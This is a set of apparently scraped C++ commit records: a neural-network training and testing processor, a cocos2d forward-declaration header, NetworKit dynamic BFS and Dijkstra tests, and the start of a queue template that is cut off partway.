print_title(\"Network\");\n    dbn.display();\n\n    using dbn_t = std::decay_t<DBN>;\n\n    \/\/Execute all the actions sequentially\n    for (auto& action : actions) {\n        if (action == \"pretrain\") {\n            print_title(\"Pretraining\");\n\n            if (task.pretraining.samples.empty()) {\n                std::cout << \"dllp: error: pretrain is not possible without a pretraining input\" << std::endl;\n                return;\n            }\n\n            std::vector<Container> pt_samples;\n\n            \/\/Try to read the samples\n            if (!read_samples<Three>(task.pretraining.samples, pt_samples)) {\n                std::cout << \"dllp: error: failed to read the pretraining samples\" << std::endl;\n                return;\n            }\n\n            if (task.pt_desc.denoising) {\n                std::vector<Container> clean_samples;\n\n                \/\/Try to read the samples\n                if (!read_samples<Three>(task.pretraining_clean.samples, clean_samples)) {\n                    std::cout << \"dllp: error: failed to read the clean samples\" << std::endl;\n                    return;\n                }\n\n                \/\/Pretrain the network\n                if constexpr(dbn_t::pretrain_possible && dbn_t::layers_t::is_denoising) {\n                    dbn.pretrain_denoising(pt_samples.begin(), pt_samples.end(), clean_samples.begin(), clean_samples.end(), task.pt_desc.epochs);\n                }\n            } else {\n                if constexpr (dbn_t::pretrain_possible) {\n                    \/\/Pretrain the network\n                    dbn.pretrain(pt_samples.begin(), pt_samples.end(), task.pt_desc.epochs);\n                }\n            }\n        } else if (action == \"train\") {\n            print_title(\"Training\");\n\n            if (task.training.samples.empty() || task.training.labels.empty()) {\n                std::cout << \"dllp: error: train is not possible without samples and labels\" << std::endl;\n                return;\n            }\n\n            std::vector<Container> ft_samples;\n            std::vector<size_t> ft_labels;\n\n            \/\/Try to read the samples\n            if (!read_samples<Three>(task.training.samples, ft_samples)) {\n                std::cout << \"dllp: error: failed to read the training samples\" << std::endl;\n                return;\n            }\n\n            \/\/Try to read the labels\n            if (!read_labels(task.training.labels, ft_labels)) {\n                std::cout << \"dllp: error: failed to read the training labels\" << std::endl;\n                return;\n            }\n\n            using last_layer = typename dbn_t::template layer_type<dbn_t::layers - 1>;\n\n            if(!sgd_possible<last_layer>::value){\n                std::cout << \"dllp: error: The network is not trainable by SGD\" << std::endl;\n                return;\n            }\n\n            \/\/Train the network\n            if constexpr(sgd_possible<last_layer>::value) {\n                auto ft_error = dbn.fine_tune(ft_samples, ft_labels, task.ft_desc.epochs);\n                std::cout << \"Train Classification Error:\" << ft_error << std::endl;\n            }\n        } else if (action == \"test\") {\n            print_title(\"Testing\");\n\n            if (task.testing.samples.empty() || task.testing.labels.empty()) {\n                std::cout << \"dllp: error: test is not possible without samples and labels\" << std::endl;\n                return;\n            }\n\n            std::vector<Container> test_samples;\n            std::vector<size_t> test_labels;\n\n            \/\/Try to read the samples\n            if (!read_samples<Three>(task.testing.samples, test_samples)) {\n                std::cout << \"dllp: error: failed to read the test samples\" << std::endl;\n                return;\n            }\n\n            \/\/Try to read the labels\n            if (!read_labels(task.testing.labels, test_labels)) {\n                std::cout << \"dllp: error: failed to read the test labels\" << std::endl;\n                return;\n            }\n\n            auto classes = dbn.output_size();\n\n            etl::dyn_matrix<size_t, 2> conf(classes, classes, 0.0);\n\n            size_t n  = test_samples.size();\n            size_t tp = 0;\n\n            for (size_t i = 0; i < test_samples.size(); ++i) {\n                auto sample = test_samples[i];\n                auto label  = test_labels[i];\n\n                auto predicted = dbn.predict(sample);\n\n                if (predicted == label) {\n                    ++tp;\n                }\n\n                ++conf(label, predicted);\n            }\n\n            double test_error = (n - tp) \/ double(n);\n\n            std::cout << \"Error rate: \" << test_error << std::endl;\n            std::cout << \"Accuracy: \" << (1.0 - test_error) << std::endl\n                      << std::endl;\n\n            std::cout << \"Results per class\" << std::endl;\n\n            double overall = 0.0;\n\n            std::cout << \"   | Accuracy | Error rate |\" << std::endl;\n\n            for (size_t l = 0; l < classes; ++l) {\n                size_t total = etl::sum(conf(l));\n                double acc = (total - conf(l, l)) \/ double(total);\n                std::cout << std::setw(3) << l;\n                std::cout << \"|\" << std::setw(10) << (1.0 - acc) << \"|\" << std::setw(12) << acc << \"|\" << std::endl;\n                overall += acc;\n            }\n\n            std::cout << std::endl;\n\n            std::cout << \"Overall Error rate: \" << overall \/ classes << std::endl;\n            std::cout << \"Overall Accuracy: \" << 1.0 - (overall \/ classes) << std::endl\n                      << std::endl;\n\n            std::cout << \"Confusion Matrix (%)\" << std::endl\n                      << std::endl;\n\n            std::cout << \"    \";\n            for (size_t l = 0; l < classes; ++l) {\n                std::cout << std::setw(5) << l << \" \";\n            }\n            std::cout << std::endl;\n\n            for (size_t l = 0; l < classes; ++l) {\n                size_t total = etl::sum(conf(l));\n                std::cout << std::setw(3) << l << \"|\";\n                for (size_t p = 0; p < classes; ++p) {\n                    std::cout << std::setw(5) << std::setprecision(2) << 100.0 * (conf(l, p) \/ double(total)) << \"|\";\n                }\n                std::cout << std::endl;\n            }\n            std::cout << std::endl;\n        } else if (action == \"save\") {\n            print_title(\"Save Weights\");\n\n            dbn.store(task.w_desc.file);\n            std::cout << \"Weights saved\" << std::endl;\n        } else if (action == \"load\") {\n            print_title(\"Load Weights\");\n\n            dbn.load(task.w_desc.file);\n            std::cout << \"Weights loaded\" << std::endl;\n        } else {\n            std::cout << \"dllp: error: Invalid action: \" << action << std::endl;\n        }\n    }\n\n    \/\/TODO\n}\n\n} \/\/end of namespace processor\n\n} \/\/end of namespace dll\n<|endoftext|>"}
{"text":"<commit_before>#ifndef EE_X_COCOS_FWD_HPP\n#define EE_X_COCOS_FWD_HPP\n\n#include <cstddef>\n#include <string>\n#include <unordered_map>\n\n#include <platform\/CCPlatformDefine.h> \/\/ For CC_DLL\n\n#include <ee\/CoreFwd.hpp>\n\n#include \"ee\/cocos\/EEMacro.hpp\"\n\nenum class ResolutionPolicy;\n\nnamespace cocos2d {\nclass Node;\nclass DrawNode;\nclass Font;\nclass FontAtlas;\nclass Label;\nclass LabelAtlas;\nclass Layer;\nclass LayerColor;\nclass Scene;\nclass Transition;\nclass ProgressTimer;\nclass Menu;\nclass MenuItem;\nclass MenuItemImage;\nclass ClippingRectangleNode;\nclass ClippingNode;\nclass ParticleSystem;\nclass ParticleSystemQuad;\nclass Animation;\nclass Sprite;\nclass SpriteFrame;\nclass SpriteBatchNode;\nclass Image;\nclass Texture2D;\nclass RenderTexture;\n\nstruct _ttfConfig;\nusing TTFConfig = _ttfConfig;\n\nclass Action;\nclass ActionInstant;\nclass Show;\nclass Hide;\nclass RemoveSelf;\nclass FlipX;\nclass FlipY;\nclass Place;\nclass CallFunc;\n\nclass ActionInterval;\nclass FiniteTimeAction;\nclass Speed;\nclass Follow;\nclass Repeat;\nclass RepeatForever;\nclass Spawn;\nclass RotateTo;\nclass RotateBy;\nclass MoveTo;\nclass MoveBy;\nclass SkewTo;\nclass SkewBy;\nclass ScaleBy;\nclass ScaleTo;\nclass Blink;\nclass FadeTo;\nclass FadeIn;\nclass FadeOut;\nclass DelayTime;\nclass ActionFloat;\nclass ActionEase;\nclass Sequence;\n\nclass Event;\nclass EventCustom;\nclass EventListener;\nclass EventListenerCustom;\nclass EventListenerKeyboard;\nclass EventListenerTouchOneByOne;\nclass EventListenerTouchAllAtOnce;\nclass EventTouch;\n\nclass Touch;\n\nclass Ref;\n\ntemplate <class T>\nclass RefPtr;\n\ntemplate <class T>\nclass Vector;\n\nclass Value;\nusing ValueMap = std::unordered_map<std::string, Value>;\n\nclass __Array;\nusing Array = __Array;\n\nclass __Bool;\nusing Bool = __Bool;\n\nclass __Dictionary;\nusing Dictionary = __Dictionary;\n\nclass __Double;\nusing Double = __Double;\n\nclass __Float;\nusing Float = __Float;\n\nclass __Integer;\nusing Integer = __Integer;\n\nclass __Set;\nusing Set = __Set;\n\nclass __String;\nusing String = __String;\n\nclass Vec2;\nusing Point = Vec2;\n\nclass Vec3;\nclass Mat3;\nclass Mat4;\n\nclass Size;\nclass Rect;\nstruct Color3B;\nstruct Color4F;\nstruct BlendFunc;\n\nclass GLProgram;\nclass GLProgramState;\n\nstruct Uniform;\n\nnamespace extension {\nclass ControlButton;\nclass ScrollView;\n} \/\/ namespace extension\n} \/\/ namespace cocos2d\n\nnamespace cocos2d {\nnamespace ui {\nclass ListView;\nclass LoadingBar;\nclass PageView;\nclass RichText;\nclass ScrollView;\nclass Slider;\nclass Text;\nclass TextAtlas;\nclass Button;\nclass CheckBox;\nclass RadioButton;\nclass ImageView;\nclass Scale9Sprite;\nclass Widget;\nclass EditBox;\nclass EditBoxDelegate;\nclass TextField;\nclass Layout;\n} \/\/ namespace ui\n} \/\/ namespace cocos2d\n\nnamespace cocos2d {\nnamespace network {\nclass HttpClient;\nclass HttpResponse;\n} \/\/ namespace network\n} \/\/ namespace cocos2d\n\nnamespace cocosbuilder {\nstruct BlockData;\nstruct BlockControlData;\n\nclass CCBReader;\nclass NodeLoaderLibrary;\nclass NodeLoader;\nclass SpriteLoader;\nclass Scale9SpriteLoader;\nclass ControlLoader;\nclass LabelBMFontLoader;\nclass LabelTTFLoader;\nclass LayerLoader;\nclass LayerColorLoader;\nclass LayerGradientLoader;\nclass ScrollViewLoader;\nclass ParticleSystemQuadLoader;\nclass CCBMemberVariableAssigner;\nclass CCBSelectorResolver;\n} \/\/ namespace cocosbuilder\n\nnamespace spine {\nclass SkeletonAnimation;\n} \/\/ namespace spine\n\nnamespace ee {\ntemplate <class Np, class Lp, class... Ts>\nclass GenericLoader;\n\ntemplate <class T>\nclass Pool;\ntemplate <class T>\nclass LazyPtr;\n\nclass Action;\nclass ContinuousAction;\n\nclass Sequence;\nclass Spawn;\nclass RelativeMoveBy;\nclass RelativeMoveTo;\n\nnamespace detail {\nclass ButtonEx;\n} \/\/ namespace detail\n\nusing Button = detail::ButtonEx;\n\nclass CheckBox;\n\nclass BackButtonComponent;\n\nclass Console;\n\ntemplate <class T>\nclass BackButtonListener;\n\nclass NodeV3Loader;\nclass UiWidgetLoader;\nclass UiButtonLoader;\nclass UiTextLoader;\nclass UiLayoutLoader;\nclass ClippingRectangleNodeLoader;\n\nclass ButtonLoader;\n\nclass SpriteWithHsv;\nclass SpriteWithHsvLoader;\n\nclass Scale9SpriteWithHsv;\n\nclass BlurBackground;\nclass BlurBackgroundLoader;\n\nnamespace language {\nclass Language;\nclass ISwitcher;\nclass Switcher;\nclass Delegate;\nclass Formatter;\nclass MultilingualDelegate;\n} \/\/ namespace language\n\nusing Language = language::Language;\nusing ILanguageSwitcher = language::ISwitcher;\nusing LanguageSwitcher = language::Switcher;\nusing LanguageDelegate = language::Delegate;\nusing LanguageFormatter = language::Formatter;\n\nnamespace ui {\nclass Widget;\nclass WidgetLoader;\n} \/\/ namespace ui\n\nusing ui::Widget;\nusing ui::WidgetLoader;\n\nclass ImageBuilder;\nclass ManagedScene;\nclass SceneSwitcher;\n\nclass Shader;\n\nclass SkeletonAnimationLoader;\nclass SkeletonBone;\nclass SkeletonBoneLoader;\n\ntemplate <std::size_t Id, class... Args>\nclass EventInfo;\nclass EventDispatcher;\n\ntemplate <class T, class = void>\nstruct DataTraits;\n\ntemplate <class... Keys>\nstruct DataFormat;\n\ntemplate <std::size_t Id, class Value, class... Args>\nstruct DataInfo;\n\nclass DataHandler;\n} \/\/ namespace ee\n\nnamespace ee {\nnamespace cocos {\nenum class DialogCommandType;\n\nstruct DialogCommand;\nstruct DialogGuard;\n\nclass Dialog;\nclass DialogComponent;\nclass DialogManager;\nclass IDialogManager;\n\nclass Metrics;\n\nstruct Delay;\nstruct SwitchToCocosThread;\n} \/\/ namespace cocos\n\nusing cocos::Dialog;\nusing cocos::DialogComponent;\nusing cocos::Metrics;\n\nusing cocos::Delay;\nusing cocos::SwitchToCocosThread;\n} \/\/ namespace ee\n\n#endif \/\/ EE_X_COCOS_FWD_HPP\n<commit_msg>Forward cocos class.<commit_after>#ifndef EE_X_COCOS_FWD_HPP\n#define EE_X_COCOS_FWD_HPP\n\n#include <cstddef>\n#include <string>\n#include <unordered_map>\n\n#include <platform\/CCPlatformDefine.h> \/\/ For CC_DLL\n\n#include <ee\/CoreFwd.hpp>\n\n#include \"ee\/cocos\/EEMacro.hpp\"\n\nenum class ResolutionPolicy;\n\nnamespace cocos2d {\nclass Node;\nclass DrawNode;\nclass Font;\nclass FontAtlas;\nclass Label;\nclass LabelAtlas;\nclass Layer;\nclass LayerColor;\nclass Scene;\nclass Transition;\nclass ProgressTimer;\nclass Menu;\nclass MenuItem;\nclass MenuItemImage;\nclass MenuItemToggle;\nclass ClippingRectangleNode;\nclass ClippingNode;\nclass ParticleSystem;\nclass ParticleSystemQuad;\nclass Animation;\nclass Sprite;\nclass SpriteFrame;\nclass SpriteBatchNode;\nclass Image;\nclass Texture2D;\nclass RenderTexture;\n\nstruct _ttfConfig;\nusing TTFConfig = _ttfConfig;\n\nclass Action;\nclass ActionInstant;\nclass Show;\nclass Hide;\nclass RemoveSelf;\nclass FlipX;\nclass FlipY;\nclass Place;\nclass CallFunc;\n\nclass ActionInterval;\nclass FiniteTimeAction;\nclass Speed;\nclass Follow;\nclass Repeat;\nclass RepeatForever;\nclass Spawn;\nclass RotateTo;\nclass RotateBy;\nclass MoveTo;\nclass MoveBy;\nclass SkewTo;\nclass SkewBy;\nclass ScaleBy;\nclass ScaleTo;\nclass Blink;\nclass FadeTo;\nclass FadeIn;\nclass FadeOut;\nclass DelayTime;\nclass ActionFloat;\nclass ActionEase;\nclass Sequence;\n\nclass Event;\nclass EventCustom;\nclass EventListener;\nclass EventListenerCustom;\nclass EventListenerKeyboard;\nclass EventListenerTouchOneByOne;\nclass EventListenerTouchAllAtOnce;\nclass EventTouch;\n\nclass Touch;\n\nclass Ref;\n\ntemplate <class T>\nclass RefPtr;\n\ntemplate <class T>\nclass Vector;\n\nclass Value;\nusing ValueMap = std::unordered_map<std::string, Value>;\n\nclass __Array;\nusing Array = __Array;\n\nclass __Bool;\nusing Bool = __Bool;\n\nclass __Dictionary;\nusing Dictionary = __Dictionary;\n\nclass __Double;\nusing Double = __Double;\n\nclass __Float;\nusing Float = __Float;\n\nclass __Integer;\nusing Integer = __Integer;\n\nclass __Set;\nusing Set = __Set;\n\nclass __String;\nusing String = __String;\n\nclass Vec2;\nusing Point = Vec2;\n\nclass Vec3;\nclass Mat3;\nclass Mat4;\n\nclass Size;\nclass Rect;\nstruct Color3B;\nstruct Color4F;\nstruct BlendFunc;\n\nclass GLProgram;\nclass GLProgramState;\n\nstruct Uniform;\n\nnamespace extension {\nclass ControlButton;\nclass ScrollView;\n} \/\/ namespace extension\n} \/\/ namespace cocos2d\n\nnamespace cocos2d {\nnamespace ui {\nclass ListView;\nclass LoadingBar;\nclass PageView;\nclass RichText;\nclass ScrollView;\nclass Slider;\nclass Text;\nclass TextAtlas;\nclass Button;\nclass CheckBox;\nclass RadioButton;\nclass ImageView;\nclass Scale9Sprite;\nclass Widget;\nclass EditBox;\nclass EditBoxDelegate;\nclass TextField;\nclass Layout;\n} \/\/ namespace ui\n} \/\/ namespace cocos2d\n\nnamespace cocos2d {\nnamespace network {\nclass HttpClient;\nclass HttpResponse;\n} \/\/ namespace network\n} \/\/ namespace cocos2d\n\nnamespace cocosbuilder {\nstruct BlockData;\nstruct BlockControlData;\n\nclass CCBReader;\nclass NodeLoaderLibrary;\nclass NodeLoader;\nclass SpriteLoader;\nclass Scale9SpriteLoader;\nclass ControlLoader;\nclass LabelBMFontLoader;\nclass LabelTTFLoader;\nclass LayerLoader;\nclass LayerColorLoader;\nclass LayerGradientLoader;\nclass ScrollViewLoader;\nclass ParticleSystemQuadLoader;\nclass CCBMemberVariableAssigner;\nclass CCBSelectorResolver;\n} \/\/ namespace cocosbuilder\n\nnamespace spine {\nclass SkeletonAnimation;\n} \/\/ namespace spine\n\nnamespace ee {\ntemplate <class Np, class Lp, class... Ts>\nclass GenericLoader;\n\ntemplate <class T>\nclass Pool;\ntemplate <class T>\nclass LazyPtr;\n\nclass Action;\nclass ContinuousAction;\n\nclass Sequence;\nclass Spawn;\nclass RelativeMoveBy;\nclass RelativeMoveTo;\n\nnamespace detail {\nclass ButtonEx;\n} \/\/ namespace detail\n\nusing Button = detail::ButtonEx;\n\nclass CheckBox;\n\nclass BackButtonComponent;\n\nclass Console;\n\ntemplate <class T>\nclass BackButtonListener;\n\nclass NodeV3Loader;\nclass UiWidgetLoader;\nclass UiButtonLoader;\nclass UiTextLoader;\nclass UiLayoutLoader;\nclass ClippingRectangleNodeLoader;\n\nclass ButtonLoader;\n\nclass SpriteWithHsv;\nclass SpriteWithHsvLoader;\n\nclass Scale9SpriteWithHsv;\n\nclass BlurBackground;\nclass BlurBackgroundLoader;\n\nnamespace language {\nclass Language;\nclass ISwitcher;\nclass Switcher;\nclass Delegate;\nclass Formatter;\nclass MultilingualDelegate;\n} \/\/ namespace language\n\nusing Language = language::Language;\nusing ILanguageSwitcher = language::ISwitcher;\nusing LanguageSwitcher = language::Switcher;\nusing LanguageDelegate = language::Delegate;\nusing LanguageFormatter = language::Formatter;\n\nnamespace ui {\nclass Widget;\nclass WidgetLoader;\n} \/\/ namespace ui\n\nusing ui::Widget;\nusing ui::WidgetLoader;\n\nclass ImageBuilder;\nclass ManagedScene;\nclass SceneSwitcher;\n\nclass Shader;\n\nclass SkeletonAnimationLoader;\nclass SkeletonBone;\nclass SkeletonBoneLoader;\n\ntemplate <std::size_t Id, class... Args>\nclass EventInfo;\nclass EventDispatcher;\n\ntemplate <class T, class = void>\nstruct DataTraits;\n\ntemplate <class... Keys>\nstruct DataFormat;\n\ntemplate <std::size_t Id, class Value, class... Args>\nstruct DataInfo;\n\nclass DataHandler;\n} \/\/ namespace ee\n\nnamespace ee {\nnamespace cocos {\nenum class DialogCommandType;\n\nstruct DialogCommand;\nstruct DialogGuard;\n\nclass Dialog;\nclass DialogComponent;\nclass DialogManager;\nclass IDialogManager;\n\nclass Metrics;\n\nstruct Delay;\nstruct SwitchToCocosThread;\n} \/\/ namespace cocos\n\nusing cocos::Dialog;\nusing cocos::DialogComponent;\nusing cocos::Metrics;\n\nusing cocos::Delay;\nusing cocos::SwitchToCocosThread;\n} \/\/ namespace ee\n\n#endif \/\/ EE_X_COCOS_FWD_HPP\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * dynSSSPGTest.cpp\n *\n *  Created on: 21.07.2014\n *      Author: ebergamini\n *\/\n\n#include \"dynSSSPGTest.h\"\n#include \"..\/dynBFS.h\"\n#include \"..\/BFS.h\"\n#include \"..\/dynDijkstra.h\"\n#include \"..\/Dijkstra.h\"\n#include \"..\/..\/io\/METISGraphReader.h\"\n#include \"..\/..\/auxiliary\/Log.h\"\n\n\nnamespace NetworKit {\n\nTEST_F(DynSSSPGTest, testDynamicBFS_1edge) {\n\/* Graph:\n    0    3   6\n     \\  \/ \\ \/\n      2    5\n     \/  \\ \/ \\\n    1    4   7\n *\/\n\tcount n = 8;\n\tGraph G(n);\n\n\tG.addEdge(0, 2);\n\tG.addEdge(1, 2);\n\tG.addEdge(2, 3);\n\tG.addEdge(2, 4);\n\tG.addEdge(3, 5);\n\tG.addEdge(4, 5);\n\tG.addEdge(5, 6);\n\tG.addEdge(5, 7);\n\n  BFS bfs(G, 0);\n  bfs.run();\n  DynBFS dbfs(G, 0);\n\tdbfs.init();\n\tstd::vector<GraphEvent> batch(1);\n\tbatch[0].type = GraphEvent::EDGE_ADDITION;\n\tbatch[0].u = 0;\n\tbatch[0].v = 6;\n\tbatch[0].w = 1.0;\n\tfor (GraphEvent edge : batch) {\n\t\tG.addEdge(edge.u, edge.v, edge.w);\n\t}\n\tdbfs.update(batch);\n\tbfs.run();\n\tG.forNodes([&] (node i) {\n\t\tEXPECT_EQ(bfs.distance(i), dbfs.distance(i));\n\t\tEXPECT_EQ(bfs.numberOfPaths(i), dbfs.numberOfPaths(i));\n\t});\n}\n\nTEST_F(DynSSSPGTest, testDynamicBFS_batch) {\n\/* Graph:\n\t\t0    3   6\n\t\t\\  \/ \\ \/\n\t\t\t2    5\n\t\t\/  \\ \/ \\\n\t\t1    4   7\n*\/\n\tcount n = 8;\n\tGraph G(n);\n\n\tG.addEdge(0, 2);\n\tG.addEdge(1, 2);\n\tG.addEdge(2, 3);\n\tG.addEdge(2, 4);\n\tG.addEdge(3, 5);\n\tG.addEdge(4, 5);\n\tG.addEdge(5, 6);\n\tG.addEdge(5, 7);\n\n\tBFS bfs(G, 0);\n\tbfs.run();\n\tDynBFS dbfs(G, 0);\n\tdbfs.init();\n\tstd::vector<GraphEvent> batch(3);\n\tbatch[0].type = GraphEvent::EDGE_ADDITION;\n\tbatch[0].u = 3;\n\tbatch[0].v = 7;\n\tbatch[0].w = 1.0;\n\tbatch[1].type = GraphEvent::EDGE_ADDITION;\n\tbatch[1].u = 0;\n\tbatch[1].v = 5;\n\tbatch[1].w = 1.0;\n\tbatch[2].type = GraphEvent::EDGE_ADDITION;\n\tbatch[2].u = 2;\n\tbatch[2].v = 7;\n\tbatch[2].w = 1.0;\n\tfor (GraphEvent edge : batch) {\n\t\tG.addEdge(edge.u, edge.v, edge.w);\n\t}\n\tdbfs.update(batch);\n\tbfs.run();\n\tG.forNodes([&] (node i) {\n\t\tEXPECT_EQ(bfs.distance(i), dbfs.distance(i));\n\t\tEXPECT_EQ(bfs.numberOfPaths(i), dbfs.numberOfPaths(i));\n\t});\n\n}\n\n\nTEST_F(DynSSSPGTest, testDynamicDijkstra) {\n \/* Graph:\n    0    3   6\n     \\  \/ \\ \/\n      2 -- 5\n     \/  \\ \/ \\\n    1    4   7\n\n    Edges in the upper row have weight 3,\n    the edge in the middle row has weight 1.5,\n    edges in the lower row have weight 2.\n *\/\n\tcount n = 8;\n\tGraph G(n, true);\n\n\tG.addEdge(0, 2, 3);\n\tG.addEdge(1, 2, 2);\n\tG.addEdge(2, 3, 3);\n\tG.addEdge(2, 4, 2);\n\tG.addEdge(2, 5, 1.5);\n\tG.addEdge(3, 5, 3);\n\tG.addEdge(4, 5, 2);\n\tG.addEdge(5, 6, 3);\n\tG.addEdge(5, 7, 2);\n\n\tDijkstra dij(G, 0);\n\tdij.run();\n\tDynDijkstra ddij(G, 0);\n\tddij.run();\n\tstd::vector<GraphEvent> batch(3);\n\tbatch[0].type = GraphEvent::EDGE_ADDITION;\n\tbatch[0].u = 0;\n\tbatch[0].v = 4;\n\tbatch[0].w = 1.0;\n\tbatch[1].type = GraphEvent::EDGE_ADDITION;\n\tbatch[1].u = 1;\n\tbatch[1].v = 4;\n\tbatch[1].w = 1.0;\n\tbatch[2].type = GraphEvent::EDGE_ADDITION;\n\tbatch[2].u = 6;\n\tbatch[2].v = 7;\n\tbatch[2].w = 3.0;\n\tfor (GraphEvent edge : batch) {\n\t\tG.addEdge(edge.u, edge.v, edge.w);\n\t}\n\tddij.update(batch);\n\tdij.run();\n\tG.forNodes([&] (node i) {\n\t\tEXPECT_EQ(dij.distance(i), ddij.distance(i));\n\t\tEXPECT_EQ(dij.numberOfPaths(i), ddij.numberOfPaths(i));\n\t});\n\n}\n\n} \/* namespace NetworKit *\/\n<commit_msg>Fix includes in DynSSSPGTest<commit_after>\/*\n * dynSSSPGTest.cpp\n *\n *  Created on: 21.07.2014\n *      Author: ebergamini\n *\/\n\n#include \"DynSSSPGTest.h\"\n#include \"..\/DynBFS.h\"\n#include \"..\/BFS.h\"\n#include \"..\/DynDijkstra.h\"\n#include \"..\/Dijkstra.h\"\n#include \"..\/..\/io\/METISGraphReader.h\"\n#include \"..\/..\/auxiliary\/Log.h\"\n\n\nnamespace NetworKit {\n\nTEST_F(DynSSSPGTest, testDynamicBFS_1edge) {\n\/* Graph:\n    0    3   6\n     \\  \/ \\ \/\n      2    5\n     \/  \\ \/ \\\n    1    4   7\n *\/\n\tcount n = 8;\n\tGraph G(n);\n\n\tG.addEdge(0, 2);\n\tG.addEdge(1, 2);\n\tG.addEdge(2, 3);\n\tG.addEdge(2, 4);\n\tG.addEdge(3, 5);\n\tG.addEdge(4, 5);\n\tG.addEdge(5, 6);\n\tG.addEdge(5, 7);\n\n  BFS bfs(G, 0);\n  bfs.run();\n  DynBFS dbfs(G, 0);\n\tdbfs.init();\n\tstd::vector<GraphEvent> batch(1);\n\tbatch[0].type = GraphEvent::EDGE_ADDITION;\n\tbatch[0].u = 0;\n\tbatch[0].v = 6;\n\tbatch[0].w = 1.0;\n\tfor (GraphEvent edge : batch) {\n\t\tG.addEdge(edge.u, edge.v, edge.w);\n\t}\n\tdbfs.update(batch);\n\tbfs.run();\n\tG.forNodes([&] (node i) {\n\t\tEXPECT_EQ(bfs.distance(i), dbfs.distance(i));\n\t\tEXPECT_EQ(bfs.numberOfPaths(i), dbfs.numberOfPaths(i));\n\t});\n}\n\nTEST_F(DynSSSPGTest, testDynamicBFS_batch) {\n\/* Graph:\n\t\t0    3   6\n\t\t\\  \/ \\ \/\n\t\t\t2    5\n\t\t\/  \\ \/ \\\n\t\t1    4   7\n*\/\n\tcount n = 8;\n\tGraph G(n);\n\n\tG.addEdge(0, 2);\n\tG.addEdge(1, 2);\n\tG.addEdge(2, 3);\n\tG.addEdge(2, 4);\n\tG.addEdge(3, 5);\n\tG.addEdge(4, 5);\n\tG.addEdge(5, 6);\n\tG.addEdge(5, 7);\n\n\tBFS bfs(G, 0);\n\tbfs.run();\n\tDynBFS dbfs(G, 0);\n\tdbfs.init();\n\tstd::vector<GraphEvent> batch(3);\n\tbatch[0].type = GraphEvent::EDGE_ADDITION;\n\tbatch[0].u = 3;\n\tbatch[0].v = 7;\n\tbatch[0].w = 1.0;\n\tbatch[1].type = GraphEvent::EDGE_ADDITION;\n\tbatch[1].u = 0;\n\tbatch[1].v = 5;\n\tbatch[1].w = 1.0;\n\tbatch[2].type = GraphEvent::EDGE_ADDITION;\n\tbatch[2].u = 2;\n\tbatch[2].v = 7;\n\tbatch[2].w = 1.0;\n\tfor (GraphEvent edge : batch) {\n\t\tG.addEdge(edge.u, edge.v, edge.w);\n\t}\n\tdbfs.update(batch);\n\tbfs.run();\n\tG.forNodes([&] (node i) {\n\t\tEXPECT_EQ(bfs.distance(i), dbfs.distance(i));\n\t\tEXPECT_EQ(bfs.numberOfPaths(i), dbfs.numberOfPaths(i));\n\t});\n\n}\n\n\nTEST_F(DynSSSPGTest, testDynamicDijkstra) {\n \/* Graph:\n    0    3   6\n     \\  \/ \\ \/\n      2 -- 5\n     \/  \\ \/ \\\n    1    4   7\n\n    Edges in the upper row have weight 3,\n    the edge in the middle row has weight 1.5,\n    edges in the lower row have weight 2.\n *\/\n\tcount n = 8;\n\tGraph G(n, true);\n\n\tG.addEdge(0, 2, 3);\n\tG.addEdge(1, 2, 2);\n\tG.addEdge(2, 3, 3);\n\tG.addEdge(2, 4, 2);\n\tG.addEdge(2, 5, 1.5);\n\tG.addEdge(3, 5, 3);\n\tG.addEdge(4, 5, 2);\n\tG.addEdge(5, 6, 3);\n\tG.addEdge(5, 7, 2);\n\n\tDijkstra dij(G, 0);\n\tdij.run();\n\tDynDijkstra ddij(G, 0);\n\tddij.run();\n\tstd::vector<GraphEvent> batch(3);\n\tbatch[0].type = GraphEvent::EDGE_ADDITION;\n\tbatch[0].u = 0;\n\tbatch[0].v = 4;\n\tbatch[0].w = 1.0;\n\tbatch[1].type = GraphEvent::EDGE_ADDITION;\n\tbatch[1].u = 1;\n\tbatch[1].v = 4;\n\tbatch[1].w = 1.0;\n\tbatch[2].type = GraphEvent::EDGE_ADDITION;\n\tbatch[2].u = 6;\n\tbatch[2].v = 7;\n\tbatch[2].w = 3.0;\n\tfor (GraphEvent edge : batch) {\n\t\tG.addEdge(edge.u, edge.v, edge.w);\n\t}\n\tddij.update(batch);\n\tdij.run();\n\tG.forNodes([&] (node i) {\n\t\tEXPECT_EQ(dij.distance(i), ddij.distance(i));\n\t\tEXPECT_EQ(dij.numberOfPaths(i), ddij.numberOfPaths(i));\n\t});\n\n}\n\n} \/* namespace NetworKit *\/\n<|endoftext|>"}
{"text":"<commit_before>\/\/\n\/\/  Queue.cpp\n\/\/  Queue\n\/\/\n\/\/  Created by Sunil on 2\/23\/17.\n\/\/  Copyright © 2017 Sunil. All rights reserved.\n\/\/\n\n#ifndef Queue_cpp\n#define Queue_cpp\n\n#include \"Queue.hpp\"\n\n#include <iostream>\n\nusing namespace std;\n\ntemplate<typename T>\nQueue<T>::Queue() {\n    reset();\n}\n\ntemplate<typename T>\nQueue<T>::~Queue() {\n    head = 0;\n    tail = 0;\n    filled = 0;\n    container = nullptr;\n}\n\ntemplate<typename T>\nQueue<T>::Queue(Queue<T>& queue) : Queue() {\n    auto elements = queue.container.get();\n    \n    int index = 0;\n    while(index < queue.filled) {\n        Enqueue(elements[index++]);\n    }\n}\n\ntemplate<typename T>\nQueue<T>::Queue(Queue<T>&& queue) {\n    container = std::move(queue.container);\n    filled = queue.filled;\n    head = queue.head;\n    tail = queue.tail;\n    queue.reset();\n}\n\ntemplate<typename T>\ntypename Queue<T>::ElementType Queue<T>::Dequeue() {\n    if(isEmpty()) {\n        throw \"Queue is empty\";\n    }\n    \n    auto value = container.get()[head];\n    head = (head+1)%capacity;\n    filled--;\n    return value;\n}\n\ntemplate<typename T>\nvoid Queue<T>::Enqueue(ElementType value) {\n    if (isFull()) {\n        throw \"Queue is full\";\n    }\n    \n    container.get()[tail] = value;\n    tail = (tail+1)%capacity;\n    filled++;\n}\n\ntemplate<typename T>\nbool Queue<T>::isEmpty() {\n    return filled == 0;\n}\n\ntemplate<typename T>\nbool Queue<T>::isFull() {\n    return filled == capacity;\n}\n\ntemplate<typename T>\nvoid Queue<T>::reset() {\n    head = 0;\n    tail = 0;\n    filled = 0;\n    \n    container =\n    std::unique_ptr<ElementType, std::function<void(ElementPtr)>>(new ElementType[capacity], [](ElementPtr ptr) {\n        cout << \"deleting array of \" << typeid(T).name() << endl;\n        delete[] ptr;\n    